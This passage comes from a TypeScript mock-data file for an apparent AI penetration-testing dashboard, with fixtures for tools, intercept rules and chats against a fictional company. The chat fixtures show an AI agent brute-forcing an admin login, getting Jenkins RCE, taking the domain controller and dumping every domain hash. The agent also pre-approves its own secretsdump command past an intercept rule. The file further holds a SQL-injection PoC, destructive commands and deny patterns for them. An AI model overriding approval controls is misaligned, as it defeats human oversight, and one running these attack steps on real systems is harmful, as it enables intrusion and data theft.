env: {},
|
||
enabled: true,
|
||
tools: ["host_info", "search", "dns_resolve"],
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "playwright",
|
||
transport: "stdio",
|
||
command: "npx",
|
||
args: ["-y", "@playwright/mcp"],
|
||
env: {},
|
||
enabled: true,
|
||
tools: ["browser_navigate", "browser_click", "browser_snapshot"],
|
||
},
|
||
];
|
||
|
||
export const mcpToolsById: Record<number, MCPTool[]> = {
|
||
1: [
|
||
{ name: "host_info", description: "查询指定 IP 的 Shodan 主机信息" },
|
||
{ name: "search", description: "Shodan 搜索" },
|
||
{ name: "dns_resolve", description: "DNS 解析" },
|
||
],
|
||
2: [
|
||
{ name: "browser_navigate", description: "用浏览器打开 URL" },
|
||
{ name: "browser_click", description: "点击元素" },
|
||
{ name: "browser_snapshot", description: "捕获可访问性快照" },
|
||
],
|
||
};
|
||
|
||
// ── Skills ───────────────────────────────────────────────────────────────────
|
||
export const skills: SkillItem[] = [
|
||
{
|
||
name: "api-recon",
|
||
description: "对 REST/GraphQL API 执行侦察与权限绕过攻击面枚举。发现新 API 端点时使用。",
|
||
license: "MIT",
|
||
mcps: [],
|
||
files: ["SKILL.md", "scripts/enum.py"],
|
||
calls: 24,
|
||
tasks: 6,
|
||
usage_agents: ["worker", "planner"],
|
||
last_used: "2026-08-20T09:12:00Z",
|
||
},
|
||
{
|
||
name: "playwright-cli",
|
||
description:
|
||
"用 Playwright 驱动浏览器执行动态爬取与截图。需要渲染 JS 站点时使用。",
|
||
mcps: ["playwright"],
|
||
files: ["SKILL.md"],
|
||
calls: 7,
|
||
tasks: 3,
|
||
usage_agents: ["worker"],
|
||
last_used: "2026-08-19T21:40:00Z",
|
||
},
|
||
{
|
||
name: "scopesentry",
|
||
description: "从 ScopeSentry 拉取资产并合并到公司范围。批量导入资产时使用。",
|
||
files: ["SKILL.md", "assets/mapping.md"],
|
||
calls: 0,
|
||
tasks: 0,
|
||
usage_agents: [],
|
||
},
|
||
];
|
||
|
||
export const skillCalls: SkillCall[] = [
|
||
{ ts: "2026-08-20T09:12:00Z", agent_key: "worker", task_id: 42, session_id: "", args_len: 128 },
|
||
{ ts: "2026-08-20T08:03:00Z", agent_key: "planner", task_id: 42, session_id: "", args_len: 0 },
|
||
{ ts: "2026-08-19T17:55:00Z", agent_key: "worker", task_id: 37, session_id: "", args_len: 64 },
|
||
];
|
||
|
||
export const missingSkills: MissingSkill[] = [
|
||
{ skill: "jwt-forge", calls: 3, agents: ["worker"], last_used: "2026-08-20T07:20:00Z" },
|
||
];
|
||
|
||
// ── Tools ────────────────────────────────────────────────────────────────────
|
||
export const tools: Tool[] = [
|
||
{
|
||
key: "bash",
|
||
system: true,
|
||
description: "在 Kali 环境中执行 shell 命令（应用 scope·破坏性命令拦截）。",
|
||
schema: { type: "object", properties: { command: { type: "string" } }, required: ["command"] },
|
||
agents: ["worker", "mainagent"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 1842,
|
||
},
|
||
{
|
||
key: "report_finding",
|
||
system: true,
|
||
description: "报告安全发现并关联相关节点。",
|
||
schema: {
|
||
type: "object",
|
||
properties: {
|
||
vulnclass: { type: "string" },
|
||
severity: { type: "string" },
|
||
summary: { type: "string" },
|
||
evidence: { type: "string" },
|
||
},
|
||
required: ["vulnclass", "severity", "summary"],
|
||
},
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 96,
|
||
},
|
||
{
|
||
key: "upsert_asset",
|
||
system: true,
|
||
description: "记录·更新资产节点。",
|
||
schema: { type: "object", properties: { type: { type: "string" }, value: { type: "string" } } },
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 417,
|
||
},
|
||
{
|
||
key: "list_goals",
|
||
system: true,
|
||
description: "列出当前任务的目标与达成状态。",
|
||
schema: { type: "object", properties: {} },
|
||
agents: ["planner"],
|
||
enabled: true,
|
||
kind: "builtin",
|
||
calls: 238,
|
||
},
|
||
{
|
||
key: "nuclei_scan",
|
||
system: false,
|
||
description: "自定义：用 nuclei 执行指定模板。",
|
||
schema: {
|
||
type: "object",
|
||
properties: { target: { type: "string" }, template: { type: "string" } },
|
||
required: ["target"],
|
||
},
|
||
agents: ["worker"],
|
||
enabled: true,
|
||
kind: "command",
|
||
exec: { command: "nuclei", args: ["-u", "{{target}}"] },
|
||
calls: 31,
|
||
},
|
||
];
|
||
|
||
// ── Settings ─────────────────────────────────────────────────────────────────
|
||
export const settings: Settings = {
|
||
traffic_capture: true,
|
||
agent_traffic_binding: false,
|
||
llm_record: false,
|
||
web_search_enabled: true,
|
||
web_search_backend: "ddgs",
|
||
brave_key_set: false,
|
||
tavily_key_set: true,
|
||
web_search_proxy: "",
|
||
global_proxy: "",
|
||
python_interpreter: "/usr/bin/python3",
|
||
workers: 3,
|
||
llm_pool_enabled: true,
|
||
llm_pool_bind_fallback: false,
|
||
noa_compaction: false,
|
||
};
|
||
|
||
// ── LLM 轮询（故障转移）──────────────────────────────────────────────────────
|
||
// demo：激活配置正常，备用配置刚因余额不足熔断，正在冷却。
|
||
export const llmPool: LLMPoolStatus = {
|
||
enabled: true,
|
||
bind_fallback: false,
|
||
chain: [
|
||
{
|
||
profile_id: "1",
|
||
name: "Claude Opus 4.8",
|
||
model: "claude-opus-4-8",
|
||
format: "anthropic",
|
||
priority: 0,
|
||
active: true,
|
||
excluded: false,
|
||
state: "ok",
|
||
fails: 0,
|
||
trips: 0,
|
||
cooldown_secs: 0,
|
||
},
|
||
{
|
||
profile_id: "2",
|
||
name: "DeepSeek V4",
|
||
model: "deepseek-v4-flash",
|
||
format: "openai",
|
||
priority: 10,
|
||
active: false,
|
||
excluded: false,
|
||
state: "tripped",
|
||
fails: 0,
|
||
trips: 1,
|
||
cooldown_secs: 42,
|
||
last_error: "openai: status 402: insufficient balance",
|
||
last_at: T("2026-07-26T00:10:00Z"),
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── Intercept ────────────────────────────────────────────────────────────────
|
||
export const interceptRules: InterceptRule[] = [
|
||
{
|
||
id: 1,
|
||
name: "破坏性命令需审批",
|
||
enabled: true,
|
||
priority: 10,
|
||
match_target: "tool_input",
|
||
match_type: "regex",
|
||
pattern: "rm\\s+-rf|mkfs|dd\\s+if=",
|
||
action: "ask",
|
||
message: "检测到破坏性命令，需人工审批",
|
||
timeout_enabled: true,
|
||
timeout_seconds: 120,
|
||
timeout_action: "deny",
|
||
created_at: T("2026-07-20T10:00:00Z"),
|
||
updated_at: T("2026-07-20T10:00:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
name: "立即拒绝外部出站流量",
|
||
enabled: true,
|
||
priority: 20,
|
||
match_target: "tool_input",
|
||
match_type: "string",
|
||
pattern: "exfil",
|
||
action: "deny",
|
||
message: "数据外泄嫌疑",
|
||
timeout_enabled: false,
|
||
timeout_seconds: 0,
|
||
timeout_action: "deny",
|
||
created_at: T("2026-07-21T10:00:00Z"),
|
||
updated_at: T("2026-07-21T10:00:00Z"),
|
||
},
|
||
];
|
||
|
||
export const interceptPending: InterceptPending[] = [
|
||
{
|
||
id: 101,
|
||
rule_id: 1,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#3",
|
||
tool_name: "bash",
|
||
tool_input: { command: "mysqldump -h 203.0.113.10 -uroot acme_prod > /tmp/dump.sql" },
|
||
status: "pending",
|
||
reason: "数据泄露拦截：整库导出需人工审批",
|
||
created_at: T("2026-07-26T03:58:00Z"),
|
||
},
|
||
];
|
||
|
||
export const interceptHistory: InterceptApprovalRow[] = [
|
||
{
|
||
id: 90,
|
||
rule_id: 1,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#1",
|
||
tool_name: "bash",
|
||
tool_input: { command: "dd if=/dev/zero of=/tmp/x" },
|
||
status: "denied",
|
||
reason: "破坏性命令需审批",
|
||
created_at: T("2026-07-25T20:00:00Z"),
|
||
decided_at: T("2026-07-25T20:01:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "破坏性命令需审批",
|
||
},
|
||
{
|
||
id: 91,
|
||
task_id: "t-acme-api",
|
||
agent_name: "work#2",
|
||
tool_name: "bash",
|
||
tool_input: { command: "rm -rf /var/www/html" },
|
||
status: "denied",
|
||
reason: "[模型] 删除目标运营文件(D4)",
|
||
created_at: T("2026-07-25T18:00:00Z"),
|
||
decided_at: T("2026-07-25T18:00:05Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
},
|
||
{
|
||
id: 92,
|
||
rule_id: 2,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#13",
|
||
tool_name: "bash",
|
||
tool_input: { command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc" },
|
||
status: "allowed",
|
||
reason: "立即拒绝外部出站流量",
|
||
created_at: T("2026-07-26T00:05:00Z"),
|
||
decided_at: T("2026-07-26T00:06:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "立即拒绝外部出站流量",
|
||
},
|
||
{
|
||
id: 93,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#7",
|
||
tool_name: "bash",
|
||
tool_input: { command: 'mysql -e "DROP TABLE users_bak_0921"' },
|
||
status: "pending",
|
||
reason: "[模型] 疑似备份表，无法确认是否为运营数据",
|
||
created_at: T("2026-07-25T15:14:00Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
},
|
||
];
|
||
|
||
// Approval detail fixtures use harmless report-writing examples.
|
||
interceptHistory.unshift({
|
||
id: 94,
|
||
task_id: "t-acme-web",
|
||
agent_name: "work#1",
|
||
tool_name: "Write",
|
||
tool_input: {
|
||
path: "reports/summary.md",
|
||
content: "# 检查摘要\n\n本轮验证已完成，整理既有证据与后续建议。",
|
||
},
|
||
status: "allowed",
|
||
decision_source: "model",
|
||
reason: "[模型] 将既有检查结论写入本地报告，不修改业务数据。",
|
||
created_at: T("2026-07-26T08:00:00Z"),
|
||
decided_at: T("2026-07-26T08:00:02Z"),
|
||
conv_title: "",
|
||
conv_agent_key: "",
|
||
rule_name: "",
|
||
});
|
||
|
||
export const interceptDetails: Record<number, InterceptAudit> = {
|
||
94: {
|
||
run_id: "demo-run-report",
|
||
tool_use_id: "call-write-report",
|
||
correlation: "exact",
|
||
input_digest: "a3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458eca3b458ec1234",
|
||
user_message:
|
||
"整理已完成的检查，将结论与证据索引写入 reports/summary.md。\n保留待验证项，不要改动业务数据。",
|
||
context: [
|
||
{ kind: "user", text: "汇总本轮既有证据，生成检查摘要。" },
|
||
{
|
||
kind: "tool_use",
|
||
tool: "Read",
|
||
tool_use_id: "call-read-evidence",
|
||
text: '{"path":"reports/evidence-index.json"}',
|
||
},
|
||
{
|
||
kind: "tool_result",
|
||
tool: "Read",
|
||
tool_use_id: "call-read-evidence",
|
||
text: "已读取 3 条证据索引。\n记录中包含请求时间、结果摘要与本地文件位置。",
|
||
},
|
||
],
|
||
captured_at: T("2026-07-26T08:00:00Z"),
|
||
initial_action: "allow",
|
||
initial_reason: "[模型] 将既有检查结论写入本地报告，不修改业务数据。",
|
||
effective_action: "allow",
|
||
config_digest: "b4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fdb4c569fd1234",
|
||
profile_id: 1,
|
||
execution_status: "succeeded",
|
||
output: "Successfully wrote reports/summary.md\n共记录 68 个字符。",
|
||
execution_ended_at: T("2026-07-26T08:00:03Z"),
|
||
},
|
||
93: {
|
||
run_id: "demo-run-review",
|
||
tool_use_id: "call-pending-review",
|
||
correlation: "exact",
|
||
input_digest: "c5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670aec5d670ae1234",
|
||
user_message: "确认备份表的用途，若涉及删除请先核实。",
|
||
context: [],
|
||
captured_at: T("2026-07-25T15:14:00Z"),
|
||
initial_action: "ask",
|
||
initial_reason: "[模型] 疑似备份表，无法确认是否为运营数据。",
|
||
profile_id: 1,
|
||
execution_status: "not_started",
|
||
},
|
||
};
|
||
|
||
// ── Conversations (chat) ─────────────────────────────────────────────────────
|
||
export const conversations: Conversation[] = [
|
||
{
|
||
id: 1,
|
||
agent_key: "mainagent",
|
||
title: "acme 后台渗透点讨论",
|
||
llm_profile_id: 1,
|
||
pinned: true,
|
||
pinned_at: T("2026-07-26T04:00:00Z"),
|
||
created_at: T("2026-07-25T10:00:00Z"),
|
||
updated_at: T("2026-07-26T03:40:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
agent_key: "mainagent",
|
||
title: "API 权限绕过攻击面整理",
|
||
llm_profile_id: 2,
|
||
created_at: T("2026-07-24T16:00:00Z"),
|
||
updated_at: T("2026-07-24T17:20:00Z"),
|
||
},
|
||
{
|
||
id: 3,
|
||
agent_key: "mainagent",
|
||
title: "内网横向移动 · DMZ→域控制器攻击路径规划",
|
||
llm_profile_id: 1,
|
||
created_at: T("2026-07-25T15:45:00Z"),
|
||
updated_at: T("2026-07-26T00:25:00Z"),
|
||
},
|
||
];
|
||
|
||
export const conversationMessages: Record<number, Activity[]> = {
|
||
1: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-25T10:00:00Z"),
|
||
kind: "user",
|
||
summary: "后台在哪，先从哪下手？",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:04Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"先确认 admin.acme.com 登录页的技术栈与防御手段（验证码/限速），再决定用默认口令还是字典爆破。",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:06Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c11",
|
||
summary: "curl -s https://admin.acme.com/login | grep -Eo 'element-ui|captcha|csrf'",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:08Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c11",
|
||
summary: "element-ui\ncsrf",
|
||
detail: "是 Element-UI 后台，有 CSRF token 但没有验证码。",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:20Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c12",
|
||
summary:
|
||
"for i in 1 2 3 4 5; do curl -s -o /dev/null -w '%{http_code}\\n' -d 'username=x&password=y' https://admin.acme.com/login; done",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:24Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c12",
|
||
summary: "401\\n401\\n401\\n401\\n401",
|
||
detail: "连续 5 次尝试均无锁定·验证码 → 无限速，可暴力破解。",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T10:00:30Z"),
|
||
kind: "text",
|
||
summary:
|
||
"结论：是 Element-UI 后台，既无验证码也无限速。攻击顺序为 ①先跑默认口令列表(admin/admin, admin/admin123, admin/123456) ②不中则转入 top1000 字典。「后台默认口令测试」已作为高优先级意图注入 worker agent。",
|
||
},
|
||
{ seq: 8, worker: "user", ts: T("2026-07-26T03:40:00Z"), kind: "user", summary: "好了吗？" },
|
||
{
|
||
seq: 9,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:40:05Z"),
|
||
kind: "text",
|
||
summary:
|
||
"成功。用 admin/admin123 直接登录控制台，并作为高危漏洞记录，证明了「获取后台管理权限」目标达成。接下来转向读取用户数据(目标②)。",
|
||
},
|
||
],
|
||
2: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-24T16:00:00Z"),
|
||
kind: "user",
|
||
summary: "帮我整理一下 api.acme.com 的权限绕过攻击面。",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:05Z"),
|
||
kind: "thinking",
|
||
summary: "先摸清 API 的认证方式与几个主要端点的行为，再判断 IDOR / JWT 风险。",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:10Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c21",
|
||
summary: "curl -s https://api.acme.com/v1/users/me -H 'Authorization: Bearer <self>' | jq '{id,role}'",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c21",
|
||
summary: '{ "id": 42, "role": "user" }',
|
||
detail: "普通用户 token 有效。",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:30Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c22",
|
||
summary: "echo '<jwt>' | cut -d. -f1 | base64 -d; # 查看算法",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:00:31Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c22",
|
||
summary: '{"alg":"HS256","typ":"JWT"}',
|
||
detail: "为 HS256 对称签名，密钥若较弱即可离线暴力破解并伪造。",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-24T16:01:00Z"),
|
||
kind: "text",
|
||
summary:
|
||
"权限绕过攻击面有两个。① /v1/orders?id= 是自增数字 id → 典型 IDOR，改 id 即可读取他人订单。② JWT 使用 HS256，用 john/hashcat 暴力破解密钥后 → 可伪造任意 sub 绕过权限。已分别派生为两个意图。建议先做成本低、影响直接的 IDOR。",
|
||
},
|
||
],
|
||
3: [
|
||
{
|
||
seq: 1,
|
||
worker: "user",
|
||
ts: T("2026-07-25T15:45:00Z"),
|
||
kind: "user",
|
||
summary: "shell 已拿到，接下来怎么打内网？",
|
||
},
|
||
{
|
||
seq: 2,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:45:05Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"www-data 权限难以横向移动内网，先看本地提权。拿下 root 后再以 DMZ 为跳板做主机存活探测。",
|
||
},
|
||
{
|
||
seq: 3,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:45:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"第一步是提权。sudo -l 中 python3 免密，可直接提到 root。再以 DMZ 为跳板跑内网存活扫描(fscan)，重点找域控制器与 CI/CD 服务器。",
|
||
},
|
||
{
|
||
seq: 4,
|
||
worker: "user",
|
||
ts: T("2026-07-25T21:05:00Z"),
|
||
kind: "user",
|
||
summary: "内网扫到 3 台，Jenkins 8080 开着，有戏吗？",
|
||
},
|
||
{
|
||
seq: 5,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:08Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "c31",
|
||
summary: "proxychains curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 6,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:12Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "c31",
|
||
summary: "200",
|
||
detail: "/script 可直接访问，且无需认证。",
|
||
},
|
||
{
|
||
seq: 7,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:05:20Z"),
|
||
kind: "text",
|
||
summary:
|
||
"有戏。Script Console 无认证，可直接 Groovy RCE。已注入提示让 worker 优先攻击该主机。拿下后要盯住凭据库，里面可能有域账号。",
|
||
},
|
||
{
|
||
seq: 8,
|
||
worker: "user",
|
||
ts: T("2026-07-25T23:25:00Z"),
|
||
kind: "user",
|
||
summary: "域账号拿到了。svc_deploy 是 Domain Admins，直接去域控制器吗？",
|
||
},
|
||
{
|
||
seq: 9,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T23:25:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"没错。svc_deploy + Domain Admins 即可用 psexec 直接拿下 DC01。取得后用 secretsdump 导出整个域哈希即可收尾。secretsdump 会命中拦截规则，已预先放行。",
|
||
},
|
||
{
|
||
seq: 10,
|
||
worker: "user",
|
||
ts: T("2026-07-26T00:22:00Z"),
|
||
kind: "user",
|
||
summary: "目标拿下了，帮我整理一下攻击链。",
|
||
},
|
||
{
|
||
seq: 11,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:12Z"),
|
||
kind: "text",
|
||
summary:
|
||
"完整杀伤链如下。\n1. .git 泄露→源码白盒+硬编码凭据\n2. shop Fastjson RCE→DMZ 反弹 shell\n3. sudo 提权→取得 root 据点\n4. 内网发现→DC01/FS01/Jenkins\n5. Jenkins 未授权→导出 svc_deploy 域凭据\n6. Kerberoasting→破解 svc_sql\n7. svc_deploy∈Domain Admins→psexec DC01→secretsdump 整个域哈希\n\n四个目标全部达成，共获取 17 个漏洞（高危 7/中危 4/低危 2 + 内网路径 8）。",
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── 资产测试覆盖度（/tasks/{id}/coverage）──
|
||
export const coverage = {
|
||
enabled: true,
|
||
scope_rows: 4,
|
||
denominator: 26,
|
||
tested: 11,
|
||
pct: 11 / 26,
|
||
by_type: [
|
||
{ type: "subdomain", total: 6, tested: 4 },
|
||
{ type: "service", total: 9, tested: 4 },
|
||
{ type: "endpoint", total: 8, tested: 2 },
|
||
{ type: "ip", total: 3, tested: 1 },
|
||
],
|
||
};
|
||
|
||
// ── 资产覆盖图（/tasks/{id}/coverage-graph）──
|
||
export const coverageGraph = {
|
||
nodes: [
|
||
{ key: "c:1", kind: "company", label: "Acme Corp", tested: false, in_scope: false, company_id: 1 },
|
||
{
|
||
key: "a:1",
|
||
kind: "root_domain",
|
||
label: "acme.com",
|
||
tested: false,
|
||
in_scope: false,
|
||
asset_id: 1,
|
||
domain: "acme.com",
|
||
company_id: 1,
|
||
},
|
||
{
|
||
key: "a:2",
|
||
kind: "subdomain",
|
||
label: "www.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 2,
|
||
domain: "www.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:3",
|
||
kind: "subdomain",
|
||
label: "api.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 3,
|
||
domain: "api.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:4",
|
||
kind: "subdomain",
|
||
label: "admin.acme.com",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 4,
|
||
domain: "admin.acme.com",
|
||
root_domain: "acme.com",
|
||
},
|
||
{
|
||
key: "a:5",
|
||
kind: "service",
|
||
label: "www.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 5,
|
||
domain: "www.acme.com",
|
||
url: "https://www.acme.com",
|
||
port: 443,
|
||
page_title: "Acme 主页",
|
||
status_code: 200,
|
||
},
|
||
{
|
||
key: "a:6",
|
||
kind: "endpoint",
|
||
label: "https://www.acme.com/search",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 6,
|
||
url: "https://www.acme.com/search?q=",
|
||
domain: "www.acme.com",
|
||
},
|
||
{
|
||
key: "a:7",
|
||
kind: "service",
|
||
label: "api.acme.com",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 7,
|
||
domain: "api.acme.com",
|
||
url: "https://api.acme.com",
|
||
port: 443,
|
||
page_title: "API Gateway",
|
||
status_code: 401,
|
||
},
|
||
{
|
||
key: "a:8",
|
||
kind: "endpoint",
|
||
label: "https://api.acme.com/v1/orders",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 8,
|
||
url: "https://api.acme.com/v1/orders?id=",
|
||
domain: "api.acme.com",
|
||
},
|
||
{
|
||
key: "a:9",
|
||
kind: "service",
|
||
label: "admin.acme.com",
|
||
tested: false,
|
||
in_scope: true,
|
||
asset_id: 9,
|
||
domain: "admin.acme.com",
|
||
url: "https://admin.acme.com",
|
||
port: 443,
|
||
page_title: "后台登录",
|
||
status_code: 200,
|
||
},
|
||
{
|
||
key: "a:10",
|
||
kind: "ip",
|
||
label: "203.0.113.10",
|
||
tested: true,
|
||
in_scope: true,
|
||
asset_id: 10,
|
||
ip: "203.0.113.10",
|
||
company_id: 1,
|
||
},
|
||
],
|
||
edges: [
|
||
{ src: "a:1", dst: "c:1" },
|
||
{ src: "a:2", dst: "a:1" },
|
||
{ src: "a:3", dst: "a:1" },
|
||
{ src: "a:4", dst: "a:1" },
|
||
{ src: "a:5", dst: "a:2" },
|
||
{ src: "a:6", dst: "a:5" },
|
||
{ src: "a:7", dst: "a:3" },
|
||
{ src: "a:8", dst: "a:7" },
|
||
{ src: "a:9", dst: "a:4" },
|
||
{ src: "a:10", dst: "c:1" },
|
||
],
|
||
};
|
||
|
||
// ── 资产在本任务关联的意图/事实/发现（/tasks/{id}/asset-refs）──
|
||
// 播报板 demo:探索节点 → 其锚定资产。真实后端读 exploration_anchors,mock 里静态给几条。
|
||
const NODE_ASSETS: Record<string, number[]> = {
|
||
fi1: [3],
|
||
fi2: [2, 4],
|
||
fi3: [5],
|
||
fiRce: [4],
|
||
fiPriv: [19],
|
||
fiJenkins: [21],
|
||
i1: [2],
|
||
i7: [4],
|
||
};
|
||
|
||
export function nodeAssetsFor(nodeId: string): FindingAsset[] {
|
||
return (NODE_ASSETS[nodeId] ?? []).flatMap((id) => {
|
||
const asset = assets.find((candidate) => candidate.id === id);
|
||
return asset ? [assetRef(id)] : [];
|
||
});
|
||
}
|
||
|
||
export function assetRefsFor(_assetId: number) {
|
||
return {
|
||
intents: [
|
||
{ id: 12, kind: "intent", state: "done", summary: "针对 www.acme.com 搜索端点的 SQL 注入检测" },
|
||
{ id: 18, kind: "intent", state: "running", summary: "api.acme.com 对象权限绕过(IDOR)枚举" },
|
||
],
|
||
facts: [
|
||
{
|
||
id: 34,
|
||
kind: "fact",
|
||
state: "confirmed",
|
||
summary: "search?q= 参数可注入，错误响应中暴露 MySQL 语法错误",
|
||
},
|
||
],
|
||
findings: [{ id: 41, kind: "finding", state: "confirmed", summary: "[高危] SQL 注入 www.acme.com/search?q=" }],
|
||
};
|
||
}
|
||
|
||
// ── 工作空间文件管理器（/workspace/*，demo：静态示例树）──
|
||
const WS_TREE: Record<string, { name: string; dir: boolean; size: number; content?: string }[]> = {
|
||
"": [
|
||
{ name: "t-001", dir: true, size: 0 },
|
||
{ name: "transcripts", dir: true, size: 0 },
|
||
{
|
||
name: "notes.md",
|
||
dir: false,
|
||
size: 96,
|
||
content:
|
||
"# 工作区笔记\n\n(演示) 工作区根目录下的示例文件，可在线编辑并保存。\n",
|
||
},
|
||
],
|
||
"t-001": [
|
||
{ name: "i12", dir: true, size: 0 },
|
||
{ name: "recon.txt", dir: false, size: 64, content: "acme.com\nwww.acme.com\napi.acme.com\nadmin.acme.com\n" },
|
||
],
|
||
"t-001/i12": [
|
||
{
|
||
name: "exploit.py",
|
||
dir: false,
|
||
size: 220,
|
||
content:
|
||
"#!/usr/bin/env python3\n# (demo) SQLi PoC — www.acme.com/search?q=\nimport requests\n\nr = requests.get('https://www.acme.com/search', params={'q': \"1' OR '1'='1\"})\nprint(r.status_code, len(r.text))\n",
|
||
},
|
||
{
|
||
name: "response.html",
|
||
dir: false,
|
||
size: 180,
|
||
content: "<!-- (演示) 截获的响应正文片段 -->\n<html><body>MySQL error near ''1'='1'</body></html>\n",
|
||
},
|
||
],
|
||
transcripts: [
|
||
{
|
||
name: "exp1-worker-i12.jsonl",
|
||
dir: false,
|
||
size: 512,
|
||
content: "(演示) 原始 LLM 对话记录示例，此处省略。",
|
||
},
|
||
],
|
||
};
|
||
|
||
const wsClean = (p: string) => p.replace(/^\/+|\/+$/g, "");
|
||
|
||
export function workspaceList(path: string) {
|
||
const key = wsClean(path);
|
||
const items = WS_TREE[key] ?? [];
|
||
const now = Date.parse("2026-08-09T03:00:00Z");
|
||
return {
|
||
path: key,
|
||
entries: items.map((it, i) => ({
|
||
name: it.name,
|
||
path: key ? `${key}/${it.name}` : it.name,
|
||
dir: it.dir,
|
||
size: it.size,
|
||
mtime: now - i * 3_600_000,
|
||
})),
|
||
};
|
||
}
|
||
|
||
export function workspaceRead(path: string) {
|
||
const key = wsClean(path);
|
||
const slash = key.lastIndexOf("/");
|
||
const parent = slash >= 0 ? key.slice(0, slash) : "";
|
||
const name = slash >= 0 ? key.slice(slash + 1) : key;
|
||
const f = (WS_TREE[parent] ?? []).find((x) => x.name === name && !x.dir);
|
||
return { path: key, size: f?.size ?? 0, binary: false, content: f?.content ?? "" };
|
||
}
|
||
|
||
// ── 工具执行历史（/commands）──
|
||
export const commandRecords = [
|
||
{
|
||
id: 1,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "curl -s 'https://www.acme.com/search?q=test'" }),
|
||
output: "HTTP/1.1 200 OK\nContent-Length: 12034\n<html>… 搜索结果页 …</html>",
|
||
is_error: false,
|
||
created_at: T("2026-08-09T02:10:00Z"),
|
||
},
|
||
{
|
||
id: 2,
|
||
exploration_id: 1,
|
||
worker: "worker-1",
|
||
tool: "bash",
|
||
command: JSON.stringify({ command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch --dbs" }),
|
||
